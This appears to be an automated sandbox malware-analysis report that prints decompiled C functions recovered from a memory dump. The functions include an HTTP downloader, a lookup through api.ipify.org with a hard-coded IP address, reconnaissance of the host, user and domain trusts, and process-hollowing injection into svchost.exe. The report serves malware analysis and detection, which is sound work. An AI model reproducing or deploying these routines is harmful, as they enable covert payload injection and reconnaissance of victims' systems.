Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 2118df4f22ccbfcaa08cc296d48ddd19a388f4ac95395f26668bdd81328dfff4
Instruction ID: 760777a9dd5ee7b5d28a60b0459f933b2c7ce9e33dffee85520553e90b81f244
Opcode Fuzzy Hash: 2118df4f22ccbfcaa08cc296d48ddd19a388f4ac95395f26668bdd81328dfff4
Instruction Fuzzy Hash: B7E082309D4204EFDB088FA2EA0CB63B3E8A302310F088925EA0A827C8C73584E0CF10

Uniqueness

Uniqueness Score: -1.00%

Function 02111FE0, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183
networkCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E02111FE0(char* _a4, void* _a8, long _a12, DWORD** _a16) {
				void* _v8;
				long _v12;
				void* _v16;
				signed short _v20;
				signed int _v24;
				void _v28;
				void _v32;
				void* _v36;
				long _v40;
				long _v44;
				int _v48;
				intOrPtr _v60;
				char* _v64;
				signed short _v84;
				intOrPtr _v88;
				char* _v92;
				long _v96;
				void* _v108;
				char _v368;
				char _v628;
				int _t79;
				void* _t80;
				void* _t83;
				int _t97;
				void* _t141;

				E021114A0( &_v108, 0, 0x3c);
				_v108 = 0x3c;
				_v92 =  &_v368;
				_v88 = 0x104;
				_v64 =  &_v628;
				_v60 = 0x104;
				 *((char*)(_t141 + 0xfffffffffffffe94)) = 0;
				 *((char*)(_t141 + 0xfffffffffffffd90)) = 0;
				_t79 = InternetCrackUrlA(_a4, 0, 0,  &_v108); // executed
				if(_t79 != 0) {
					if(_v96 == 0) {
						_v96 = 3;
					}
					if(_v96 == 3 || _v96 == 4) {
						_t80 = E021124F0(); // executed
						_v36 = _t80;
						if(_v36 != 0) {
							_v20 = _v84;
							_v24 = 0x84080100;
							if(_v96 == 4) {
								_v24 = _v24 | 0x00803000;
							}
							_t83 = InternetConnectA(_v36,  &_v368, _v20 & 0x0000ffff, 0, 0, 3, 0, 1); // executed
							_v16 = _t83;
							if(_v16 != 0) {
								_v8 = HttpOpenRequestA(_v16, "GET",  &_v628, 0, 0, 0x2117050, _v24, 1);
								if(_v8 != 0) {
									if(_v96 == 4) {
										_v40 = 4;
										InternetQueryOptionA(_v8, 0x1f,  &_v28,  &_v40);
										_v28 = _v28 | 0x00001100;
										InternetSetOptionA(_v8, 0x1f,  &_v28, 4);
									}
									HttpSendRequestA(_v8, 0, 0, 0, 0); // executed
									_v32 = 0;
									_v44 = 4;
									HttpQueryInfoA(_v8, 0x20000013,  &_v32,  &_v44, 0);
									if(_v32 != 0xc8 || _a8 == 0) {
										L26:
										InternetCloseHandle(_v8); // executed
										InternetCloseHandle(_v16);
										if(_v32 != 0xc8) {
											return 0;
										}
										return 1;
									} else {
										 *_a16 = 0;
										while(1 != 0) {
											_t97 = InternetReadFile(_v8, _a8, _a12,  &_v12); // executed
											_v48 = _t97;
											if(_v48 != 1 || _v12 <= 0) {
												goto L26;
											} else {
												_a8 = _a8 + _v12;
												_a12 = _a12 - _v12;
												 *_a16 =  *_a16 + _v12;
												continue;
											}
										}
										goto L26;
									}
								}
								InternetCloseHandle(_v16);
								return 0;
							} else {
								return 0;
							}
						}
						return 0;
					} else {
						return 0;
					}
				}
				return 0;
			}

0x02111ff1
0x02111ff9
0x02112006
0x02112009
0x02112016
0x02112019
0x02112028
0x02112038
0x0211204c
0x02112054
0x02112061
0x02112063
0x02112063
0x0211206e
0x0211207d
0x02112082
0x02112089
0x02112096
0x0211209a
0x021120a5
0x021120b0
0x021120b0
0x021120cd
0x021120d3
0x021120da
0x02112108
0x0211210f
0x02112126
0x02112128
0x0211213d
0x0211214b
0x0211215a
0x0211215a
0x0211216c
0x02112172
0x02112179
0x02112193
0x021121a0
0x02112204
0x02112208
0x02112212
0x0211221f
0x00000000
0x02112228
0x00000000
0x021121a8
0x021121ab
0x021121b1
0x021121ca
0x021121d0
0x021121d7
0x00000000
0x021121df
0x021121e5
0x021121ee
0x021121fc
0x00000000
0x02112202
0x021121d7
0x00000000
0x021121b1
0x021121a0
0x02112115
0x00000000
0x021120dc
0x00000000
0x021120dc
0x021120da
0x00000000
0x02112076
0x00000000
0x02112076
0x0211206e
0x00000000

APIs

InternetCrackUrlA.WININET(02111AD9,00000000,00000000,0000003C), ref: 0211204C

Strings

<, xrefs: 02111FF9
GET, xrefs: 021120F9

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CrackInternet
String ID: <$GET
API String ID: 1381609488-427699995
Opcode ID: 44ff2cfa76e0653f7f49e6b9dd39549b59f26a7e1776ce4db796dd114c5a5ff8
Instruction ID: b95478208b900015e17a7790470fb1122387bc11300d39b07c45fb1fa1672bc7
Opcode Fuzzy Hash: 44ff2cfa76e0653f7f49e6b9dd39549b59f26a7e1776ce4db796dd114c5a5ff8
Instruction Fuzzy Hash: 0F714D74D40219EFEB18CFD4D949BEEB7B5FB48700F108529EA11AB280D7759684CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02112C40, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47
processstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02112C40(void** _a4, intOrPtr* _a8) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOA _v88;
				char _v348;
				int _t17;

				E021114A0( &_v88, 0, 0x44);
				_v88.cb = 0x44;
				GetEnvironmentVariableA("SystemRoot",  &_v348, 0x104);
				lstrcatA( &_v348, "\\System32\\svchost.exe");
				_t17 = CreateProcessA(0,  &_v348, 0, 0, 0, 0x424, 0, 0,  &_v88,  &_v20); // executed
				if(_t17 != 0) {
					 *_a4 = _v20.hProcess;
					 *_a8 = _v20.hThread;
					return 1;
				}
				return 0;
			}

0x02112c51
0x02112c59
0x02112c71
0x02112c83
0x02112ca9
0x02112cb1
0x02112cbd
0x02112cc5
0x00000000
0x02112cc7
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 02112C71
lstrcatA.KERNEL32(?,\System32\svchost.exe), ref: 02112C83
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000424,00000000,00000000,00000044,?), ref: 02112CA9

Strings

SystemRoot, xrefs: 02112C6C
\System32\svchost.exe, xrefs: 02112C77
D, xrefs: 02112C59

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateEnvironmentProcessVariablelstrcat
String ID: D$SystemRoot$\System32\svchost.exe
API String ID: 3510847443-1175289849
Opcode ID: dcde050c4206a9d36e2bb8fc5afcc5ec5dd7accbcd330fde6451eff36b534e9b
Instruction ID: 1f69641d884a6b4e2fb81defb2e87fa346483ed2a6e84aee7be539f0ff02237b
Opcode Fuzzy Hash: dcde050c4206a9d36e2bb8fc5afcc5ec5dd7accbcd330fde6451eff36b534e9b
Instruction Fuzzy Hash: 17015271A80308AFE714CFD0DC46FE97378EB44B05F104464BB0AAE2C0E7B46A488B64

Uniqueness

Uniqueness Score: -1.00%

Function 02113000, Relevance: 9.1, APIs: 6, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02113000(long _a4, CHAR* _a8, long _a12, CHAR* _a16, long _a20) {
				long _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				union _TOKEN_INFORMATION_CLASS _v28;
				union _SID_NAME_USE _v32;
				int _t31;
				int _t37;
				int _t43;

				_v12 = OpenProcess(0x400, 0, _a4);
				if(_v12 != 0) {
					if(OpenProcessToken(_v12, 0x20008,  &_v16) != 0) {
						_v8 = 0;
						_t31 = GetTokenInformation(_v16, 1, 0, 0,  &_v8); // executed
						if(_t31 != 0 || GetLastError() != 0x7a) {
							return 0;
						} else {
							_v24 = E02111390(_v8);
							_v20 = _v24;
							_v28 = 0;
							_t37 = GetTokenInformation(_v16, 1, _v20, _v8,  &_v8); // executed
							if(_t37 != 0) {
								_t43 = LookupAccountSidA(0,  *_v20, _a8,  &_a12, _a16,  &_a20,  &_v32); // executed
								if(_t43 != 0) {
									_v28 = 1;
								}
							}
							E021113D0(_v24);
							return _v28;
						}
					}
					return 0;
				}
				return 0;
			}

0x02113017
0x0211301e
0x0211303c
0x02113045
0x0211305a
0x02113062
0x00000000
0x02113073
0x0211307f
0x02113085
0x02113088
0x021130a1
0x021130a9
0x021130c7
0x021130cf
0x021130d1
0x021130d1
0x021130cf
0x021130dc
0x00000000
0x021130e4
0x02113062
0x00000000
0x0211303e
0x00000000

APIs

OpenProcess.KERNEL32(00000400,00000000,?,?,02112E45,?,?,00000104,?,00000104), ref: 02113011
OpenProcessToken.ADVAPI32(00000000,00020008,00000104,?,02112E45,?,?,00000104), ref: 02113034

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: OpenProcess$Token
String ID:
API String ID: 2935449343-0
Opcode ID: fce592cbb485b52e21c6da3bdfed77a399c5b5e384a14fb46bbc04d0028c743f
Instruction ID: 4bee711345ff516df8b353468a630c144b4fad102f52ba14f44360bb0ac76238
Opcode Fuzzy Hash: fce592cbb485b52e21c6da3bdfed77a399c5b5e384a14fb46bbc04d0028c743f
Instruction Fuzzy Hash: CB312CB5E40209BFDB00CFA4C985FEFB7F9AB48B04F104568E615E7284E771AA44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02112520, Relevance: 9.0, APIs: 3, Strings: 3, Instructions: 42
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02112520(void* __ecx, CHAR* _a4) {
				char _v8;
				void* _t10;

				if( *0x02117280 == 0) {
					_t10 = E02111FE0("http://api.ipify.org", "185.189.150.70", 0x20,  &_v8); // executed
					if(_t10 != 1) {
						 *((char*)(0x2117280)) = 0;
						lstrcpyA(_a4, "0.0.0.0");
						return 0;
					}
					 *((char*)(_v8 + 0x2117280)) = 0;
					lstrcpyA(_a4, "185.189.150.70");
					return 1;
				}
				lstrcpyA(_a4, "185.189.150.70");
				return 1;
			}

0x02112535
0x0211255d
0x02112568
0x02112592
0x021125a2
0x00000000
0x021125a8
0x0211256d
0x0211257d
0x00000000
0x02112583
0x02112540
0x00000000

APIs

lstrcpyA.KERNEL32(02111AD9,185.189.150.70,?,?,02111AD9,?,?), ref: 02112540
lstrcpyA.KERNEL32(02111AD9,185.189.150.70,?,?,02111AD9,?,?), ref: 0211257D

Strings

http://api.ipify.org, xrefs: 02112558
185.189.150.70, xrefs: 02112537, 02112553, 0211256D, 02112574, 02112592
0.0.0.0, xrefs: 02112599

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcpy
String ID: 0.0.0.0$185.189.150.70$http://api.ipify.org
API String ID: 3722407311-3193360669
Opcode ID: 012500669387a7fe6ba2ba4cc6521ff70ab848016bf483714d20b3a345fe20e8
Instruction ID: d4ae54da7d584b24c6a2a06612ddcd94f0207bf41622084abf0eefad109c0f39
Opcode Fuzzy Hash: 012500669387a7fe6ba2ba4cc6521ff70ab848016bf483714d20b3a345fe20e8
Instruction Fuzzy Hash: 0101FE347C420067F7688664C959BDABBD4E704700F114174F905DF381D7BAD58247D0

Uniqueness

Uniqueness Score: -1.00%

Function 021130F0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E021130F0(CHAR* _a4) {
				long _v8;
				char _v268;
				char _v528;
				int _t14;
				void* _t16;

				 *_a4 = 0;
				_v8 = 0x104;
				_t14 = GetComputerNameA( &_v268,  &_v8); // executed
				_t31 = _t14;
				if(_t14 != 0) {
					lstrcatA(_a4,  &_v268);
				}
				lstrcatA(_a4, " @ ");
				_t16 = E02112DF0(_t31,  &_v528); // executed
				if(_t16 != 0) {
					lstrcatA(_a4,  &_v528);
				}
				return 1;
			}

0x02113104
0x02113108
0x0211311a
0x02113120
0x02113122
0x0211312f
0x0211312f
0x0211313e
0x0211314b
0x02113155
0x02113162
0x02113162
0x02113170

APIs

GetComputerNameA.KERNEL32(?,00000104), ref: 0211311A
lstrcatA.KERNEL32(00100000,?), ref: 0211312F
lstrcatA.KERNEL32(00100000, @ ), ref: 0211313E
lstrcatA.KERNEL32(00100000,?), ref: 02113162

Strings

@ , xrefs: 02113135

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcat$ComputerName
String ID: @
API String ID: 2583549208-203157567
Opcode ID: b15dfa100fd47bfcc0aa05afe90460939f78da4a90d30dc195878705c2a15f1a
Instruction ID: 53ead05bd4ae66e4294f686dd595a8b12447c3de10ae6a442538f69a92391b39
Opcode Fuzzy Hash: b15dfa100fd47bfcc0aa05afe90460939f78da4a90d30dc195878705c2a15f1a
Instruction Fuzzy Hash: 0D0181B5940308ABDB14DFA5D948FDB7BBDAB48700F1045A8FA4A87241EB75DAC4CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0211F650, Relevance: 8.4, APIs: 2, Strings: 2, Instructions: 1410COMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000804,?), ref: 0211F8BF
GetSystemDirectoryA.KERNEL32(?,00000804), ref: 0212085B

Strings

#, xrefs: 021204AA
4, xrefs: 021207BD

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: DirectoryPathSystemTemp
String ID: #$4
API String ID: 2060362723-353776824
Opcode ID: fde8f312c0c9c5f0bd486afd7744558891a07e77b78c16b26f751cd3586ec828
Instruction ID: 76fd1d4784846e812c86db0ce52c2b8ec9686c77db7fe4c5fc74f8c320e216e5
Opcode Fuzzy Hash: fde8f312c0c9c5f0bd486afd7744558891a07e77b78c16b26f751cd3586ec828
Instruction Fuzzy Hash: C103E67CE82115CFC724CF58E590A6ABBF1B788608B148AAAD44D47309DB317AE5CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 021123C0, Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E021123C0(CHAR* _a4) {
				signed int _v8;
				char _v12;
				char _v16;
				char* _t30;

				 *_a4 = 0;
				_t30 =  &_v16;
				__imp__DsEnumerateDomainTrustsA(0, 0x3f,  &_v12, _t30); // executed
				if(_t30 == 0) {
					if(_v16 != 0) {
						_v8 = 0;
						while(_v8 < _v16) {
							if( *(_v12 + _v8 * 0x2c) != 0) {
								lstrcatA(_a4,  *(_v12 + _v8 * 0x2c));
								lstrcatA(_a4, ";");
							}
							if( *((intOrPtr*)(_v12 + 4 + _v8 * 0x2c)) != 0) {
								_t26 = 4 + _v8 * 0x2c; // 0xff25f845
								lstrcatA(_a4,  *(_v12 + _t26));
								lstrcatA(_a4, ";");
							}
							_v8 = _v8 + 1;
						}
						return 1;
					}
					return 1;
				}
				return 0;
			}

0x021123d1
0x021123d5
0x021123e1
0x021123e9
0x021123f6
0x02112402
0x02112414
0x02112427
0x02112438
0x02112447
0x02112447
0x02112459
0x02112462
0x0211246b
0x0211247a
0x0211247a
0x02112411
0x02112411
0x00000000
0x02112482
0x00000000
0x021123f8
0x00000000

APIs

DsEnumerateDomainTrustsA.NETAPI32(00000000,0000003F,02111AE8,?,?,02111AE8,?,?,?), ref: 021123E1

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DomainEnumerateTrusts
String ID:
API String ID: 4051863571-0
Opcode ID: cae2be804fa1b254dd996708039dbfc2e9ad999e2d0311c1d7b86dce848d6125
Instruction ID: 2013e6f9724caee89da5a9992259a3c2c440763301dce44cb48c06c8692eb1b0
Opcode Fuzzy Hash: cae2be804fa1b254dd996708039dbfc2e9ad999e2d0311c1d7b86dce848d6125
Instruction Fuzzy Hash: 62215331A40209EBDB08CFD4D585FDEBBB5EB44704F1085B8E9069B690C774EA81CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02112DF0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02112DF0(void* __eflags, CHAR* _a4) {
				long _v8;
				long _v12;
				long _v16;
				char _v276;
				char _v536;
				long _t16;
				void* _t20;

				_t16 = E02112E90("explorer.exe"); // executed
				_v16 = _t16;
				_v12 = 0x104;
				_v8 = 0x104;
				 *_a4 = 0;
				_t20 = E02113000(_v16,  &_v536, _v12,  &_v276, _v8); // executed
				if(_t20 == 0) {
					return 0;
				}
				lstrcpyA(_a4,  &_v276);
				lstrcatA(_a4, "\\");
				lstrcatA(_a4,  &_v536);
				return 1;
			}

0x02112dfe
0x02112e06
0x02112e09
0x02112e10
0x02112e22
0x02112e40
0x02112e4a
0x00000000
0x02112e84
0x02112e57
0x02112e66
0x02112e77
0x00000000

APIs

Part of subcall function 02112E90: K32EnumProcesses.KERNEL32(?,00001000,02112E03), ref: 02112EAD

Part of subcall function 02113000: OpenProcess.KERNEL32(00000400,00000000,?,?,02112E45,?,?,00000104,?,00000104), ref: 02113011

lstrcpyA.KERNEL32(00000104,?), ref: 02112E57
lstrcatA.KERNEL32(00000104,021142B8), ref: 02112E66
lstrcatA.KERNEL32(00000104,?), ref: 02112E77

Strings

explorer.exe, xrefs: 02112DF9

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcat$EnumOpenProcessProcesseslstrcpy
String ID: explorer.exe
API String ID: 1774016706-3187896405
Opcode ID: 394783b4b7041200f8079350bc03185c5006898428d949e5d31b8a0d3537373f
Instruction ID: 616a95ca1eb9b56aee1169b187276a92a8ee811e1b27a9249f884e186dc7d0fd
Opcode Fuzzy Hash: 394783b4b7041200f8079350bc03185c5006898428d949e5d31b8a0d3537373f
Instruction Fuzzy Hash: FB1148B5D40208AFDB14DFA8DD45ADE7BB9AB48700F1045A8FA09D7240E774D684CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02112B80, Relevance: 6.1, APIs: 4, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02112B80(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				long _v12;
				void* _v16;
				char _v20;
				char _v24;
				void* _t24;
				void* _t27;
				void* _t34;
				long _t36;

				_v12 = 0xffffffff;
				if(E02112B40(__ecx, _a4) != 0) {
					_t24 = E02112C40( &_v8,  &_v16); // executed
					if(_t24 != 0) {
						_t27 = E02113270(_v8, _a4, _a8,  &_v24,  &_v20); // executed
						if(_t27 == 1) {
							_t34 = E021137E0(_v8, _v16, _v24, _v20); // executed
							if(_t34 == 1) {
								_t36 = GetProcessId(_v8); // executed
								_v12 = _t36;
							}
						}
						if(_v12 == 0xffffffff) {
							TerminateProcess(_v8, 0);
						}
						CloseHandle(_v16);
						CloseHandle(_v8);
						return _v12;
					}
					return _v12;
				}
				return 0;
			}

0x02112b86
0x02112b9b
0x02112bac
0x02112bb6
0x02112bd1
0x02112bdc
0x02112bee
0x02112bf9
0x02112bff
0x02112c05
0x02112c05
0x02112bf9
0x02112c0c
0x02112c14
0x02112c14
0x02112c1e
0x02112c28
0x00000000
0x02112c2e
0x00000000
0x02112bb8
0x00000000

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5af24998c00eca925c90739147305794a5de4e67f9fe1b7aef3b374f24e302b9
Instruction ID: 99ac7d66c0d596858cdb4660254ee5ac42b1af523d38edfdb162be11826851b1
Opcode Fuzzy Hash: 5af24998c00eca925c90739147305794a5de4e67f9fe1b7aef3b374f24e302b9
Instruction Fuzzy Hash: A221EFBAD40119BFCB14DBE4DD84AAFB7B9AB48311F108A64EA15D3240E735DA40DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02112F30, Relevance: 6.1, APIs: 4, Instructions: 58
stringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E02112F30(long _a4, CHAR* _a8) {
				int _v8;
				void* _v12;
				CHAR* _v16;
				void* _v20;
				char _v280;
				void* _t29;
				void* _t48;

				_t29 = OpenProcess(0x400, 0, _a4);
				_v12 = _t29;
				if(_v12 == 0) {
					L12:
					return 0;
				}
				_push(0x104);
				_push( &_v280);
				_push(_v12); // executed
				L02113BE3(); // executed
				_v20 = _t29;
				CloseHandle(_v12); // executed
				if(_v20 <= 0) {
					goto L12;
				}
				_v16 = 0;
				_v8 = 0;
				while(_v8 < _v20) {
					if( *((char*)(_t48 + _v8 - 0x114)) == 0x5c) {
						_v16 = _t48 + _v8 - 0x113;
					}
					if( *((char*)(_t48 + _v8 - 0x114)) != 0) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				if(_v16 == 0) {
					goto L12;
				}
				lstrcpyA(_a8, _v16);
				return 1;
			}

0x02112f44
0x02112f4a
0x02112f51
0x02112feb
0x00000000
0x02112feb
0x02112f57
0x02112f62
0x02112f66
0x02112f67
0x02112f6c
0x02112f73
0x02112f7d
0x00000000
0x00000000
0x02112f7f
0x02112f86
0x02112f98
0x02112fae
0x02112fba
0x02112fba
0x02112fca
0x02112f95
0x00000000
0x02112fcc
0x00000000
0x02112fcc
0x02112fca
0x02112fd4
0x00000000
0x00000000
0x02112fde
0x00000000

APIs

OpenProcess.KERNEL32(00000400,00000000,02112E03), ref: 02112F44
K32GetProcessImageFileNameA.KERNEL32 ref: 02112F67
CloseHandle.KERNEL32(00000000), ref: 02112F73
lstrcpyA.KERNEL32(00000000,00000000), ref: 02112FDE

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Process$CloseFileHandleImageNameOpenlstrcpy
String ID:
API String ID: 2420205050-0
Opcode ID: 5a440ac985d5a10323ed6c1da8f987cfb143422018f558ec7a235a459ee74720
Instruction ID: 5248ce9996fc75ad3ffa6832c6369e6197af3f08d52c6b444a6d22f11003d37d
Opcode Fuzzy Hash: 5a440ac985d5a10323ed6c1da8f987cfb143422018f558ec7a235a459ee74720
Instruction Fuzzy Hash: 5A217C70E4412DEFCB18CF98C984BEEB7B5BB44704F2085A9EA25A7280D3745B84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 021137E0, Relevance: 6.1, APIs: 4, Instructions: 51
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E021137E0(void* _a4, void* _a8, void _a12, intOrPtr _a16) {
				struct _CONTEXT _v720;
				int _t17;
				int _t19;

				_v720.ContextFlags = 0x10002;
				E021114A0( &(_v720.Dr0), 0, 0x2c8);
				if(GetThreadContext(_a8,  &_v720) != 0) {
					_t17 = WriteProcessMemory(_a4, _v720.Ebx + 8,  &_a12, 4, 0); // executed
					if(_t17 != 0) {
						_v720.Eax = _a16;
						_t19 = SetThreadContext(_a8,  &_v720); // executed
						if(_t19 != 0) {
							ResumeThread(_a8); // executed
							return 1;
						}
						return 0;
					}
					return 0;
				}
				return 0;
			}

0x021137e9
0x02113801
0x0211381c
0x02113838
0x02113840
0x02113849
0x0211385a
0x02113862
0x0211386c
0x00000000
0x02113872
0x00000000
0x02113864
0x00000000
0x02113842
0x00000000

APIs

GetThreadContext.KERNEL32(02111ECF,00010002), ref: 02113814
WriteProcessMemory.KERNELBASE(?,?,00500000,00000004,00000000), ref: 02113838

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ContextMemoryProcessThreadWrite
String ID:
API String ID: 2099319263-0
Opcode ID: 89385a75050041330b30541dc0f789abd736575a9847186d22b0fc09d0568ce9
Instruction ID: 2e5f11104bf574d850a89fbbe94c2a1d02dd9326484b3eb70d74b3ef1373822f
Opcode Fuzzy Hash: 89385a75050041330b30541dc0f789abd736575a9847186d22b0fc09d0568ce9
Instruction Fuzzy Hash: CF1161B5A85109ABEB14DF65EC48FEF33A8AB08B44F1086B8FA1DD6144E730D550CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02112E90, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
stringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E02112E90(CHAR* _a4) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				char _v276;
				char _v4372;
				signed int _t23;
				void* _t26;
				int _t29;
				void* _t40;
				void* _t41;

				E02111420(0x1110);
				_t23 =  &_v12;
				_push(_t23);
				_push(0x1000);
				_push( &_v4372); // executed
				L02113BDD(); // executed
				if(_t23 != 0) {
					_v16 = _v12 >> 2;
					_v8 = 0;
					while(_v8 < _v16) {
						_t26 = E02112F30( *((intOrPtr*)(_t40 + _v8 * 4 - 0x1110)),  &_v276); // executed
						_t41 = _t41 + 8;
						if(_t26 == 0) {
							L8:
							_t23 = _v8 + 1;
							_v8 = _t23;
							continue;
						}
						_t29 = lstrcmpiA( &_v276, _a4); // executed
						if(_t29 != 0) {
							goto L8;
						}
						return  *((intOrPtr*)(_t40 + _v8 * 4 - 0x1110));
					}
					return _t23 | 0xffffffff;
				}
				return _t23 | 0xffffffff;
			}

0x02112e98
0x02112e9d
0x02112ea0
0x02112ea1
0x02112eac
0x02112ead
0x02112eb4
0x02112ec1
0x02112ec4
0x02112ed6
0x02112ef0
0x02112ef5
0x02112efa
0x02112f1d
0x02112ed0
0x02112ed3
0x00000000
0x02112ed3
0x02112f07
0x02112f0f
0x00000000
0x00000000
0x00000000
0x02112f14
0x00000000
0x02112f1f
0x00000000

APIs

K32EnumProcesses.KERNEL32(?,00001000,02112E03), ref: 02112EAD
lstrcmpi.KERNEL32(?,02112E03,?,?,02112E03), ref: 02112F07

Strings

.>ov, xrefs: 02112F07

Memory Dump Source

